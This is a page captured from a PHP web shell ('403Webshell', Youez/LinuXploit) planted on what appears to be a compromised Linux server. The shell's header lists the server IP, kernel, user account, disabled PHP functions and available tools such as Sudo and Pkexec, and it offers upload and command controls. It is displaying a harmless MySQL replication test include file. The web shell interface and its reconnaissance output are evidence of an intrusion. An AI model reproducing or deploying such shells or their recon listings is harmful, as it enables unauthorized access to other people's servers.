403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.171.11
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/include/rpl_skip_to_end_of_relay_log.inc
# ==== Purpose ====
#
# Execute CHANGE MASTER to make the applier threads skip to the end of
# the relay log.
#
# WARNING! After using this file with auto_position=0, the applier
# thread's master_log_pos is not up to date. This can cause
# MASTER_POS_WAIT to hang. The applier thread's master_log_pos is only
# updated when the applier thread executes events, not when CHANGE
# MASTER is used to fast-forward the position as this script does.
#
# ==== Usage ====
#
# [--let $rpl_channel_name= CHANNEL]
# --source include/rpl_skip_to_end_of_relay_log.inc
#
# Parameters:
#   $rpl_channel_name
#     By default, uses the empty channel (channel name ''). Set this
#     if you want to operate on any other channel.

--let $include_filename= include/rpl_skip_to_end_of_relay_log.inc
--source include/begin_include_file.inc

if (!$rpl_debug)
{
  --disable_query_log
}

--source include/rpl_get_end_of_relay_log.inc

--let $_rsteorl_is_auto_position= query_get_value(SHOW SLAVE STATUS, Auto_Position, 1)

if ($_rsteorl_is_auto_position)
{
  --let $_rsteorl_received_gtid_set= query_get_value(SHOW SLAVE STATUS, Retrieved_Gtid_Set, 1)
  # Find transactions in relay log which are not in gtid_executed.
  --let $_rsteorl_skip_set= `SELECT GTID_SUBTRACT('$_rsteorl_received_gtid_set', @@GLOBAL.GTID_EXECUTED)`
  # Generate empty transactions.
  while ($_rsteorl_skip_set != '')
  {
    --let $_rsteorl_skip_gtid= `SELECT GTID_FROM_GTID_SET('$_rsteorl_skip_set')`
    eval SET GTID_NEXT = '$_rsteorl_skip_gtid';
    COMMIT;
    SET GTID_NEXT = 'AUTOMATIC';
    --let $_rsteorl_skip_set= `SELECT GTID_SUBTRACT('$_rsteorl_skip_set', '$_rsteorl_skip_gtid')`
  }
}

if (!$_rsteorl_is_auto_position)
{
  eval CHANGE MASTER TO RELAY_LOG_FILE = '$relay_log_file',
                        RELAY_LOG_POS = $relay_log_size
                        FOR CHANNEL '$rpl_channel_name';
}

--source include/start_slave_sql.inc

--let $include_filename= include/rpl_skip_to_end_of_relay_log.inc
--source include/end_include_file.inc

Youez - 2016 - github.com/yon3zu
LinuXploit